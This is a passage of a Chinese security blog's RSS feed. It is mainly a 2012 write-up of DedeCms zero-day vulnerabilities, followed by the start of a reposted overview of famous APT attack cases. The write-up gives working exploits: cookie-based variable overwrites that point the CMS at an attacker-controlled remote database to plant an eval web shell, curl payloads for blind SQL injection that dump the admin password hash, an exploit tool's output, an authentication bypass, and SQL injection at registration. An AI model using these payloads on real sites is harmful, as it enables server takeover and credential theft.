preg_match(&#8216;#^(cfg_&#124;GLOBALS&#124;_GET&#124;_POST&#124;_COOKIE)#&#8217;,$svar) ) 48             { 49               [...]]]></description>
			<content:encoded><![CDATA[<p>前言:本来是投稿到黑客防线想换几块零花钱的,结果3月投的稿子,编辑回复说拟发4期,4月末咨询说,那”两天会发布”,结果今天5月2号都没发布,索性发出来算了.</p>
<p>本文0x50sec.org原创,版权所有,鄙视修改原文内容的转载.</p>
<p>作者 c4rp3nt3r 邮箱 c4rp3nt3r@0x50sec.org</p>
<p>DedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一般的缓冲区溢出漏洞造成的破坏更大,其中2011年8月左右爆出的代码执行漏洞最为给力的一个.其后DedeCms很快打了补丁,有一些安全漏洞逐渐被披露,但仍有一些保躺在某些硬盘里.拜读了上一期黑防DedeCms漏洞的文章,也想把之前我找的几个DedeCms的bug与大家分享.</p>
<h2>变量覆盖漏洞真的修补完了吗?</h2>
<p>2011年8月爆出的Dedecms代码执行漏洞，至今为止，Dedecms还没有完全修补，在某些情况下攻击者仍然可以秒杀对方的服务器。<br />
让我们先看一下Dedecms的 include/common.inc.php</p>
<blockquote><p>&lt;?php<br />
//    include/common.inc.php</p>
<p>37 function _RunMagicQuotes(&amp;$svar)        //有些情况下这个函数也是一个纸老虎<br />
38 {<br />
39     if(!get_magic_quotes_gpc())<br />
40     {<br />
41         if( is_array($svar) )<br />
42         {<br />
43             foreach($svar as $_k =&gt; $_v) $svar[$_k] = _RunMagicQuotes($_v);<br />
44         }<br />
45         else<br />
46         {<br />
47             if( strlen($svar)&gt;0 &amp;&amp; preg_match(&#8216;#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#&#8217;,$svar) )<br />
48             {<br />
49               exit(&#8216;Request var not allow!&#8217;);<br />
50             }<br />
51             $svar = addslashes($svar);<br />
52         }<br />
53     }<br />
54     return $svar;<br />
55 }<br />
56<br />
57 if (!defined(&#8216;DEDEREQUEST&#8217;))<br />
58 {<br />
59     //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)<br />
60     function CheckRequest(&amp;$val) {<br />
61         if (is_array($val)) {<br />
62             foreach ($val as $_k=&gt;$_v) {<br />
63                 if($_k == &#8216;nvarname&#8217;) continue;<br />
64                 CheckRequest($_k);<br />
65                 CheckRequest($val[$_k]);<br />
66             }<br />
67         } else<br />
68         {<br />
69             if( strlen($val)&gt;0 &amp;&amp; preg_match(&#8216;#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#&#8217;,$val)  )<br />
70             {<br />
71                 exit(&#8216;Request var not allow!&#8217;);<br />
72             }<br />
73         }<br />
74     }<br />
75<br />
76     //var_dump($_REQUEST);exit;<br />
77     CheckRequest($_REQUEST);    //这里检查变量是否合法<br />
78<br />
79     foreach(Array(&#8216;_GET&#8217;,'_POST&#8217;,'_COOKIE&#8217;) as $_request)<br />
80     {<br />
81         foreach($$_request as $_k =&gt; $_v)<br />
82         {<br />
83             if($_k == &#8216;nvarname&#8217;) ${$_k} = $_v;<br />
84             else ${$_k} = _RunMagicQuotes($_v);        //遍历初始化变量 并强制执行addslashes函数<br />
85         }<br />
86     }<br />
87 }</p></blockquote>
<p>&nbsp;</p>
<p>这是2011年8月那次漏洞后dede的补丁,防止我们覆盖 $GLOBALS[xxx] 变量 和 系统变量 $cfg_xxx .<br />
先是检测初看似乎没有问题.检查的时候用了超全局变量$_REQUEST,遍历初始化变量的时候用的$_GET,$_POST,$_COOKIE.但是检查的跟最后使用的是否相同呢?IIS的环境下是相同的，在某些apache主机上面就不一定了，$_REQUEST未必就包含$_COOKIE变量，这一点早在N年前国外某大牛的PPT就已经说过了。Dedecms的程序员只是看到网上公布的那个利用_POST方法覆盖变量的exp就写了补丁，而且没有在多种环境下测试就以为安全了。<br />
看下面这个实验就明白了。</p>
<p><span id="more-1240"></span></p>
<blockquote><p>/*<br />
OS : BackTrack 5 R1<br />
Web Server ： Apache 2<br />
PHP Version ： 5.3.2<br />
*/</p>
<p>root@bt:/var/www# cat /var/www/test.php<br />
&lt;?php<br />
var_dump($_REQUEST);<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;REQUEST END&#8212;&#8212;&#8212;&#8212;\n”;<br />
var_dump($_COOKIE);<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;COOKIE END&#8212;&#8212;&#8212;&#8212;\n”;</p>
<p>root@bt:/var/www# curl &#8211;data “hi_post=abcd” &#8211;cookie “hi_cookie=1234&#8243; http://127.0.0.1/test.php?hi_get=5678<br />
array(2) {<br />
["hi_get"]=&gt;<br />
string(4) “5678&#8243;<br />
["hi_post"]=&gt;<br />
string(4) “abcd”    //$_REQUEST数组里只有$_GET 和 $_POST的内容，并没有$_COOKIE的内容，所以前面的检查是有漏洞的<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8212;REQUEST END&#8212;&#8212;&#8212;&#8212;<br />
array(1) {<br />
["hi_cookie"]=&gt;<br />
string(4) “1234&#8243;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8212;COOKIE END&#8212;&#8212;&#8212;&#8212;</p></blockquote>
<p>因为这是个老漏洞，但是补丁没有完全修补，属于漏网之鱼，限于篇幅也就不分析了直接给出利用方法。</p>
<p>1.创建支持外连的数据库</p>
<blockquote><p>执行一下sql语句<br />
mysql -h db4free.net -u mydede -p456456<br />
use xdede;<br />
CREATE TABLE IF NOT EXISTS `dede_myad` (<br />
`aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,<br />
`clsid` smallint(5) NOT NULL DEFAULT &#8217;0&#8242;,<br />
`typeid` smallint(5) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`tagname` varchar(30) NOT NULL DEFAULT ”,<br />
`adname` varchar(60) NOT NULL DEFAULT ”,<br />
`timeset` smallint(6) NOT NULL DEFAULT &#8217;0&#8242;,<br />
`starttime` int(10) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`endtime` int(10) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`normbody` text,<br />
`expbody` text,<br />
PRIMARY KEY (`aid`),<br />
KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`)<br />
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;</p>
<p>insert into dede_myad(aid,timeset,normbody) values(1,0,”<!--?php $fp=@fopen('1.php', 'a');@fwrite($fp,'<?php eval($_POST[c]) ?-->&#8216;);echo &#8216;OK&#8217;;@fclose($fp);?&gt;”);</p></blockquote>
<p>2.访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&amp;nocache=1</p>
<p>浏览器地址栏执行一下javascript:</p>
<blockquote><p>javascript:document.cookie=”GLOBALS[cfg_dbhost]=db4free.net”;document.cookie=”GLOBALS[cfg_dbuser]=mydede”;document.cookie=”GLOBALS[cfg_dbpwd]=456456&#8243;;document.cookie=”GLOBALS[cfg_dbname]=mydede”;document.cookie=”GLOBALS[cfg_dbprefix]=dede_”;</p></blockquote>
<p>刷新页面，将会生成shell http://127.0.0.1/dede/plus/1.php 密码 c</p>
<p>更直接的利用方式:<br />
终端下执行<br />
curl &#8211;cookie “GLOBALS[cfg_dbhost]=db4free.net;GLOBALS[cfg_dbuser]=mydede;GLOBALS[cfg_dbpwd]=456456;GLOBALS[cfg_dbname]=mydede;GLOBALS[cfg_dbprefix]=dede_” “http://127.0.0.1/dede/plus/ad_js.php?aid=1&amp;nocache=1&#8243;</p>
<p>我们来看 plus/ad_js.php 的代码：</p>
<blockquote><p>    1    &lt;?php<br />
12    require_once(dirname(__FILE__).”/../include/common.inc.php”);    //这个文件里进行的变量覆盖超全局变量$GLOBALS,<br />
13                                                                    //使其不再是超全局变量<br />
14    if(isset($arcID)) $aid = $arcID;<br />
15    $arcID = $aid = (isset($aid) &amp;&amp; is_numeric($aid)) ? $aid : 0;<br />
16    if($aid==0) die(&#8216; Request Error! &#8216;);<br />
17<br />
18    $cacheFile = DEDEDATA.&#8217;/cache/myad-&#8217;.$aid.&#8217;.htm&#8217;;<br />
19    if( isset($nocache) || !file_exists($cacheFile) || time() &#8211; filemtime($cacheFile) &gt; $cfg_puccache_time )<br />
20    {<br />
21        $row = $dsql-&gt;GetOne(“SELECT * FROM `#@__myad` WHERE aid=&#8217;$aid&#8217; “);<br />
22        $adbody = ”;<br />
23        //var_dump($row);<br />
24<br />
25        if($row['timeset']==0)<br />
26        {<br />
27            $adbody = $row['normbody'];<br />
28        }<br />
29        else<br />
30        {<br />
31            $ntime = time();<br />
32            if($ntime &gt; $row['endtime'] || $ntime &lt; $row['starttime']) {<br />
33                $adbody = $row['expbody'];<br />
34            } else {<br />
35                $adbody = $row['normbody'];<br />
36            }<br />
37        }<br />
38        $adbody = str_replace(&#8216;”&#8216;, &#8216;\”&#8216;,$adbody);<br />
39        $adbody = str_replace(“\r”, “\\r”,$adbody);<br />
40        $adbody = str_replace(“\n”, “\\n”,$adbody);<br />
41        //echo  $adbody ;<br />
42        $adbody = “&lt;!&#8211;\r\ndocument.write(\”{$adbody}\”);\r\n&#8211;&gt;\r\n”;<br />
43<br />
44        $fp = fopen($cacheFile, &#8216;w&#8217;);    //写入数据库内容到缓存文件里<br />
45        fwrite($fp, $adbody);<br />
46        fclose($fp);<br />
47    }<br />
48    include $cacheFile; //执行我们的php代码</p></blockquote>
<p>这里就是把数据库中的内容输入到缓存文件里，然后包含导致的代码执行。</p>
<p>尽管覆盖在$GLOBALS变量在包含数据库配置文件./data/common.inc.php之前，按照道理来说没办法覆盖才对。但是dedecms里面数据库配置变量用的是$cfg_dbxxxx，但是到了，./include/dedesqli.class.php文件里用的时候却用的是$GLOBALS['cfg_xxxx'];，通常的情况下这两者应该是一样的，但是当变量覆盖漏洞发生后$GLOBALS不再是超全局变量了，包含./data/common.inc.php之后$cfg_dbxxxx的值改变了，$GLOBALS['cfg_xxxx']的值却不会跟着变，所以才能利用成功。</p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/1.png"><img class="aligncenter size-full wp-image-1241" title="1" src="http://www.0x50sec.org/wp-content/uploads/2012/05/1.png" alt="" width="661" height="462" /></a></p>
<p style="text-align: center;">图一<br />
代码执行仅仅是一种利用方式，我们能够覆盖$GLOBALS变量，也能覆盖系统配置变量以cfg_ 开头的变量就能够干很多事情比如绕过系统配置等等。好了变量覆盖导致的代码执行说完了，我们再看看dedecms别的bug。</p>
<h2>DedeCms的几个有意思的注射漏洞0day</h2>
<p>DedeCms由于include/common.inc.php强制执行了_RunMagicQuotes函数，以及80sec的sqlids使得字符形的注射几乎都成了鸡肋poc。<br />
但是下面的代码还是有问题，看下面的代码，遍历初始化的时候，以$_GET为例，在magic_quotes_gpc = Off时，我们提交$_GET[kkk]=vvv&#8217;的时候，初始化变量$kkk=vvv\&#8217;,但是$_GET[kkk]=vvv&#8217;的值确没什么影响。加入以后的代码里直接使用了$_GET[kkk]的值我们就有可能引入单引号了。</p>
<pre>	79     foreach(Array('_GET','_POST','_COOKIE') as $_request)
	80     {
	81         foreach($$_request as $_k =&gt; $_v)
	82         {
	83             if($_k == 'nvarname') ${$_k} = $_v;
	84             else ${$_k} = _RunMagicQuotes($_v);		//遍历初始化变量 并强制执行addslashes函数
	85         }
	86     }</pre>
<p>有的人也提到了在member目录下的文件都包含 member/config.php文件，这个文件的前两句就是</p>
<p>9 require_once(dirname(__FILE__).&#8217;/../include/common.inc.php&#8217;); //这里就是2011年8月份代码执行变量覆盖的发生地<br />
10 require_once(DEDEINC.&#8217;/filter.inc.php&#8217;); //这里重新覆盖了一次，include/common.inc.php这个文件里说的话都不算数了，以最后一次说的为准</p>
<pre>root@bt:/var/www/dede/member# cat -n ../include/filter.inc.php
	...省略
    20	function _FilterAll($fk, &amp;$svar)
    21	{
    22	    global $cfg_notallowstr,$cfg_replacestr;
    23	    if( is_array($svar) )
    24	    {
    25	        foreach($svar as $_k =&gt; $_v)
    26	        {
    27	            $svar[$_k] = _FilterAll($fk,$_v);
    28	        }
    29	    }
    30	    else
    31	    {
    32	        if($cfg_notallowstr!='' &amp;&amp; preg_match("#".$cfg_notallowstr."#i", $svar))
    33	        {
    34	            ShowMsg(" $fk has not allow words!",'-1');
    35	            exit();
    36	        }
    37	        if($cfg_replacestr!='')
    38	        {
    39	            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);//和谐社会函数，过滤不和谐内容
    40	        }
    41	    }
    42	    return $svar;
    43	}
    44
    45	/* 对_GET,_POST,_COOKIE进行过滤 */
    46	foreach(Array('_GET','_POST','_COOKIE') as $_request)	//看这里又使用的 $_GET $_POST $_COOKIE
    47	{
    48	    foreach($$_request as $_k =&gt; $_v)
    49	    {
    50	        ${$_k} = _FilterAll($_k,$_v);		//又进行了一次变量初始化 这里导致变量覆盖
    51	    }
    52	}</pre>
<p>就是说在member目录下的文件我们不受_RunMagicQuotes函数的影响，在magic_quotes_gpc=off的时候我们可以使用单引号、截断符%00等待导致一些安全问题。在dedecms的sqlids里过滤了 union|sleep|benchmark|load_file|outfile 等待sql关键字，这里最狠的是过滤了select 要不我们会舒服的多。但是有没有不用select的情况呢？答案是肯定的。<br />
dedecms dede_member、dede_admin这两个表里都有admin的hash，而且管理员在后台改了密码之后也会贴心地自动把dede_member表里的hash更新一次。所以我们找到dede_member表的注射就解决问题了。用这个表的文件有很多，我找到了修改个人配置信息的地方member/edit_face.php</p>
<pre>    root@bt:/var/www/dede/member# cat -n edit_face.php 

     9	require_once(dirname(__FILE__)."/config.php");	//这里包含和谐的 ../include/filter.inc.php
    10	CheckRank(0,0);									//检查权限，至少要是通过认证的会员，什么注册不了会员？别着急我们有办法
    11	$menutype = 'config';
    12	if(!isset($dopost))
    13	{
    14	    $dopost = '';
    15	}
    16	if(!isset($backurl))
    17	{
    18	    $backurl = 'edit_face.php';
    19	}
    20	if($dopost=='save')
    21	{
    22	    $maxlength = $cfg_max_face * 1024;
    23	    $userdir = $cfg_user_dir.'/'.$cfg_ml-&gt;M_ID;
    24	    if(!preg_match("#^".$userdir."#", $oldface))	//绕过这个正则表达式才能继续玩
    25	    {
    26	        $oldface = '';
    27	    }
    28	    if(is_uploaded_file($face))
    29	    {
    30	        if(@filesize($_FILES['face']['tmp_name']) &gt; $maxlength)
    31	        {
    32	            ShowMsg("你上传的头像文件超过了系统限制大小：{$cfg_max_face} K！", '-1');
    33	            exit();
    34	        }
    35	        //删除旧图片（防止文件扩展名不同，如：原来的是gif，后来的是jpg）
    36	        if(preg_match("#\.(jpg|gif|png)$#i", $oldface) &amp;&amp; file_exists($cfg_basedir.$oldface))
    37	        {
    38	            @unlink($cfg_basedir.$oldface);
    39	        }
    40	        //上传新工图片
    41	        $face = MemberUploads('face', $oldface, $cfg_ml-&gt;M_ID, 'image', 'myface', 180, 180);
    42	    }
    43	    else
    44	    {
    45	        $face = $oldface;	// $oldface是我们能控制的变量
    46	    }
    47	    $query = "UPDATE `#@__member` SET `face` = '$face' WHERE mid='{$cfg_ml-&gt;M_ID}' ";	//这里导致注射漏洞
    48	    $dsql-&gt;ExecuteNoneQuery($query);
    49	    // 清除缓存
    50	    $cfg_ml-&gt;DelCache($cfg_ml-&gt;M_ID);
    51	    ShowMsg('成功更新头像信息！', $backurl);
    52	    exit();
    53	}</pre>
<p>这里是一个update类型的注射，而且还是盲注，还不能用延时注射的话，如何验证sql语句执行的真假呢？具体问题具体分析，这里我们只要验证头像修改没修改成功就好了。好吧我们先找一个用户测试以下。dedecms安装的时候有个测试用户tianya，密码1234567</p>
<p style="text-align: center;"><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/2.png"><img class="aligncenter size-full wp-image-1242" title="2" src="http://www.0x50sec.org/wp-content/uploads/2012/05/2.png" alt="" width="725" height="513" /></a>图二</p>
<p align="LEFT"><span style="font-size: small;">如图二所示我们提交以下语句测试语句是否成功。</span></p>
<p>root@bt:~# <span style="color: #ff0000;">curl &#8211;data “dopost=save&amp;oldface=/dede/uploads/userup/2/../1/aaaaa.gif&#8217;+wHere+AscII(suBstrIng((pwd),1,1))&lt;5+and+mid=1;%00&#8243; &#8211;cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php</span></p>
<p>root@bt:~# curl http://127.0.0.1/dede/member/index.php?uid=admin | grep aaaaa<br />
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br />
Dload  Upload   Total   Spent    Left  Speed<br />
100 20516    0 20516    0     0   493k      0 &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211;  513k</p>
<p>root@bt:~# curl &#8211;data “dopost=save&amp;oldface=/dede/uploads/userup/2/../1/aaaaa.gif&#8217;+wHere+AscII(suBstrIng((pwd),1,1))&lt;500+and+mid=1;%00&#8243; &#8211;cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php</p>
<p>root@bt:~# curl http://127.0.0.1/dede/member/index.php?uid=admin | grep aaaaa</p>
<p>% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br />
Dload  Upload   Total   Spent    Left  Speed<br />
0     0    0     0    0     0      0      0 &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211;     0    &lt;dd id=”userInfo”&gt; &lt;a href=”index.php?uid=admin&amp;action=infos” title=”我的资料”&gt;    &lt;h4 style=” text-align:center”&gt;admin&lt;/h4&gt; &lt;img src=”/dede/uploads/userup/2/../1/<span style="color: #ff0000;">aaaaa.gif</span>” alt=”admin的头像” /&gt; &lt;/a&gt;<br />
100 20516    0 20516    0     0   478k      0 &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211;  488k</p>
<p>&nbsp;</p>
<p>测试没问题当然不能手工注射，否则会累死的，还是写一个小程序解决之，运行结果如下，成功得到管理员的admin的md5hash.这里也可以只注射中间的16位节省时间。</p>
<p>cookie就是正常用户登录后的cookie数据。</p>
<pre>root@bt:~/h4ck/dede0day# ./dede0day "DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;" http://127.0.0.1/dede/

	DedeCms V57 (20110812) SQLInj 0day Exploit
	This Exploit can dump admin's pwd md5 hash
	code by c4rp3nt3r@0x50sec.org www.cli5.com
	Educational purpose!Use it at YOUR OWN RISK!

[*] hash: <span style="color: #ff0000;">21232f297a57a5a743894a0e4a801fc3</span></pre>
<p>写得时候是2011年8月但是dedecm直到到今天也没修补这个漏洞。</p>
<p>上面的方法是比较笨的方法，还有一种方法是直接修改管理员的名字为他的hash，这样就直接在他的空间里显示出来了，一次就能搞定。<br />
<a href="http://www.0x50sec.org/wp-content/uploads/2012/05/3.png"><img class="aligncenter size-full wp-image-1243" title="3" src="http://www.0x50sec.org/wp-content/uploads/2012/05/3.png" alt="" width="661" height="462" /></a>                                                     图三</p>
<p>如图三所示，提交<br />
root@bt:~/h4ck/dede0day# curl &#8211;data “dopost=save&amp;oldface=/dede/uploads/userup/2/../1/c4rp3nt3r.gif&#8217;,uname=pwd+where+mid=1;%00&#8243;<br />
&#8211;cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php &gt; /dev/null</p>
<p>访问管理员的空间http://127.0.0.1/dede/member/index.php?uid=admin就能看到他的密码hash</p>
<p>21232f297a57a5a743894a0e4a801fc3就是管理员mid=1的密码hash。不要忘记把头像给改回来。但这个漏洞的利用有个问题，就是如何得到一个普通的会员帐号。有很多情况下不让注册用户，由于系统开启了邮件审核机制，因此你的帐号需要审核后才能发信息修改头像!要么就是注册了用户收不到邮件没办法激活，哪我们就没办法利用了，因为这个漏洞需要会员登录之后才行。<br />
那我们有什么办法不用登录，或者关闭邮件审核机制，或者不用发邮件就激活帐号呢？</p>
<p>前面讲的变量覆盖漏洞如果在一些apache主机上面仍然存在，那么我们可以伪装成登录了，我们覆盖dedecms系统配置变量cfg_cookie_encode(cookie加密码)，这个是认证的关键字符串，我们可以自定义这个变量后就能伪装成管理员登录了。<br />
这里用 cookie方式发送 _GET[cfg_cookie_encode]=123;<br />
也就是 $_COOKIE[_GET][cfg_cookie_encode]=123;<br />
在 ./include/common.php里注册了_GET[cfg_cookie_encode]=123;这个变量，在./include/filter.inc.php 文件里又一次初始化变量,覆盖了cfg_cookie_encode=123;</p>
<p>运行如下命令,可以看到我们不需要密码就成功以管理员身份登录会员中心。<br />
环境还是要求apache，才能绕过对COOKIE方式提交变量的检测。</p>
<p>root@bt:~/h4ck/dede0day# curl &#8211;cookie “DedeUserID=1;DedeUserID__ckMd5=6c14da109e294d1e;_GET[cfg_cookie_encode]=123;” http://127.0.0.1/dede/member/ | grep admin</p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/4.png"><img class="aligncenter size-full wp-image-1244" title="4" src="http://www.0x50sec.org/wp-content/uploads/2012/05/4.png" alt="" width="725" height="513" /></a><br />
图四</p>
<p>如图三所示，我们已经以管理员的身份登陆了会员中心。</p>
<p>假如不是apache呢，我们没法再绕过那个$_REQUEST的检测，覆盖dedecms的系统变量。只要magic_quotes_gpc=off，我们就能自己注册一个，因为DedeCms在会员注册的地方也存在注射漏洞。</p>
<p>Dedecms member/reg_new.php SQL注射漏洞</p>
<p>我们看 member/reg_new.php的代码 $sex变量在表单是单选项，程序员没做任何过滤就带入了SQL流程，而且有意思的字段正好在这个字段之后，所以我们就可以干一些邪恶的事情了。</p>
<p>&nbsp;</p>
<pre>191	        $inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
   192	        `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
   193	       VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
   194	       '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
   195	        if($dsql-&gt;ExecuteNoneQuery($inQuery)我们提交

$sex=boy',100,100,'sss@xx.xx',1000,0,0,'face',0,'',1316751900,'',1316751900,'');%00</pre>
<p>直接把rank 跟money都设置为100了等，绕过邮件审核。<br />
<a href="http://www.0x50sec.org/wp-content/uploads/2012/05/5.png"><img class="aligncenter size-full wp-image-1264" title="5" src="http://www.0x50sec.org/wp-content/uploads/2012/05/5.png" alt="" width="602" height="527" /></a><br />
图五<br />
<a href="http://www.0x50sec.org/wp-content/uploads/2012/05/6.png"><img class="aligncenter  wp-image-1265" title="6" src="http://www.0x50sec.org/wp-content/uploads/2012/05/6.png" alt="" width="880" height="570" /></a><br />
图六<br />
如图五、图六所示，使用firefox的live http headers插件方便的修改表单数据成功注册了一个会员hack，使用这个用户登录进去找到cookie，然后使用这个cookie利用member/edit_face.php的SQL注射漏洞导出管理员密码。通过上面的测试我们就绕过了看似防守严密的_RunMagicQuotes函数和sqlids的马其诺防线，成功得到管理员密码。</p>
<p>写文章真是一件累人的活，DedeCms还有一些别的漏洞限于时间的关系就不一一说明了。留待读者去发现吧。希望Dedecms越来越安全。(本文相关exp代码和程序见附件))</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/dedecms%e5%87%a0%e4%b8%aa%e6%9c%80%e6%96%b0bug%e5%88%86%e6%9e%90/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[转载]我看APT攻防对抗（2）：APT攻击的案例</title>
		<link>http://www.0x50sec.org/%e8%bd%ac%e8%bd%bd%e6%88%91%e7%9c%8bapt%e6%94%bb%e9%98%b2%e5%af%b9%e6%8a%97-2-apt%e6%94%bb%e5%87%bb%e7%9a%84%e6%a1%88%e4%be%8b/</link>
		<comments>http://www.0x50sec.org/%e8%bd%ac%e8%bd%bd%e6%88%91%e7%9c%8bapt%e6%94%bb%e9%98%b2%e5%af%b9%e6%8a%97-2-apt%e6%94%bb%e5%87%bb%e7%9a%84%e6%a1%88%e4%be%8b/#comments</comments>
		<pubDate>Wed, 28 Mar 2012 01:51:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[APT攻击]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1237</guid>
		<description><![CDATA[http://hi.baidu.com/fs_fx/blog/item/f8de1d1889dfec65dbb4bd1c.html FlashSky   翰海源CEO 翰海源:立志于让安全成为IT系统基础属性;帮助客户改进自身系统的安全,以及实现对APT攻击的检测与防御. &#160; 目前APT攻击发布细节出来的案例，基本都是以美国公布的。但是不代表APT攻击只针对欧美，主要原因在于，美国由于IT技术的发达成为APT攻击的首要目标，而且很多高科技公司也是民营的，而美国公司把针对安全事件发生后的调查和公布看作一种公司的诚信行为，而其他很多国家因为被攻击后更习惯捂盖子的做法公开的很少。另一个原因是我猜测，美国在APT检测和防御技术上具备一定的先进性使，他们具备针对部分APT攻击能及时发现，因此可以在攻击一开始时就配合取证了解完整的攻击过程与手法，而其他国家在这方面比较落后，发现时都是后期阶段，只能清除而很难分析取证溯源了解整个攻击过程与手法了。 APT攻击案例中比较著名的有： 1）针对GOOGLE等三十多个高科技公司的极光攻击：攻击者通过FACEBOOK上的好友分析，锁定了GOOGLE公司的一个员工和他的一个喜欢摄影的电脑小白好友。攻击者入侵并控制了电脑小白好友的机器，然后伪造了一个照片服务器，上面放置了IE的0DAY攻击代码，以电脑小白的身份给GOOGLE员工发送IM消息邀请他来看最新的照片，其实URL指向了这个IE 0DAY的页面。GOOGLE的员工相信之后打开了这个页面然后中招，攻击者利用GOOGLE这个员工的身份在内网内持续渗透，直到获得了GMAIL系统中很多敏感用户的访问权限。窃取了MAIL系统中的敏感信息后，攻击者通过合法加密信道将数据传出。事后调查，不止是GOOGLE中招了，三十多家美国高科技公司都被这一APT攻击搞定，甚至包括赛门铁克这样牛比的安全厂商。 2）针对美国能源部的夜龙攻击：攻击者首先收集了很多能源部门的WEB服务器的SQL注射的漏洞，攻击并控制了这些WEB服务器。但这并不是攻击者想要的，攻击者在这些WEB站点上一些供内部人员访问的页面上放置了针对IE和OFFICE应用的0DAY挂马攻击代码，因为针对内部站点的，靠挂马检测难以检测，传播范围不大，而且上来的都基本是目标。于是很快搞定了一些个人终端，渗透进能源部门的内网。窃取和控制了大量的有价值的主机。 3）针对RSA窃取SECURID令牌种子的攻击：攻击者首先搞定了RSA一个外地的小分支机构人员的邮箱或主机，然后以这个人员的身份，向RSA的财务主管发了一封财务预算的邮件请求RSA的财务主管进行审核，内部附属了一个EXCEL的附件，但是里面嵌入了一个FLASH的0DAY利用代码。RSA的财务主管认为可信并是自己的工作职责，因此打开了这个XCEL附件，于是攻击者成功控制了RSA的财务主管，再利用RSA的财务主管的身份逐步渗透，最后窃取走了SECURID令牌种子，通过IE的代理传回给控制者，RSA发现被入侵后一直不承认SECURID令牌种子也被窃取走，直到攻击者利用窃取的SECURID令牌种子攻击了多个美国军工企业RSA才承认SECURID令牌种子被偷走。 4）针对伊朗核电站的震网攻击：伊朗核电站是一个物理隔离的网络，因此攻击者首先获得了一些核电站工作人员和其家庭成员的信息，针对这些家庭成员的主机发起了攻击，成功控制了这些家庭用的主机，然后利用4个WINDOWS的0DAY漏洞，可以感染所有接入的USB移动介质以及通过USB移动介质可以攻击接入的主机。终于靠这种摆渡攻击渗透进了防护森严物理隔离的伊朗核电站内部网络，最后再利用了3个西门子的0DAY漏洞，成功控制了控制离心机的控制系统，修改了离心机参数，让其发电正常但生产不出制造核武器的物质，但在人工检测显示端显示一切正常。成功的将伊朗制造核武器的进程拖后了几年。 还有一些属于APT攻击范畴但细节比较少或者攻击时就被发现的案例 1）洛克-马丁：攻击者使用PDF 0DAY嵌入到邮件中发送给内部人员发起攻击，但被检测出来，但洛克-马丁未公布是如何检测到这个PDF 0DAY的 2）VERISIGN：VERISIGN今年承认内部发现被黑客攻击成功，但当时在现在离任的高级管理人员都不知道这件事，VERISIGN坚持自己用于可信站点签名的根证书还是安全的，但是又没证据证明。如果VERISIGN的根证书和RSA的SECURID令牌种子一样已被窃取，这意味着攻击者以后可以扮演任何一个可信站点，可以针对加密链路发起中间人攻击而不被察觉。 3）NASA：NASA承认去年至少有13次被黑客成功入侵且窃取走了许多核心机密，但具体的攻击细节没有披露。 4）韩国农协银行：据一些未公开的分析过程是攻击者利用社工，将一张免费的网络电影观看券（韩国网上看电影是需要付费的）给了负责韩国农协银行内部系统开发的IBM外包团队的项目经理，项目经理使用了工作的笔记本去访问这个电影的URL中 招，攻击者利用此台笔记本作跳板，成功控制了韩国农协银行的所有重要系统并窃走信息。然后长期在银行备份时恶意破坏备份但显示备份成功，最后来了一次总爆 发，将所有数据删除后撤退。韩国农协银行试图用备份恢复系统发现最近的备份都被破坏，导致大量数据无法同步，损失惨重。 当然还有一些被报道出来的APT攻击案例，这里就不一一列举。但总体来看，APT攻击始终依赖于： 1）攻击者对被攻击者的信息了解，这是制定社工和攻击策略的前提； 2）有针对性的0DAY漏洞，这是突破当前防护体系和有一些安全意识的人员的利器； 3）有针对性的木马和行为的对抗，特别是杀毒，HIPS，网络审计产品的对抗]]></description>
			<content:encoded><![CDATA[<p>http://hi.baidu.com/fs_fx/blog/item/f8de1d1889dfec65dbb4bd1c.html</p>
<p>FlashSky   翰海源CEO</p>
<p>翰海源:立志于让安全成为IT系统基础属性;帮助客户改进自身系统的安全,以及实现对APT攻击的检测与防御.</p>
<p>&nbsp;</p>
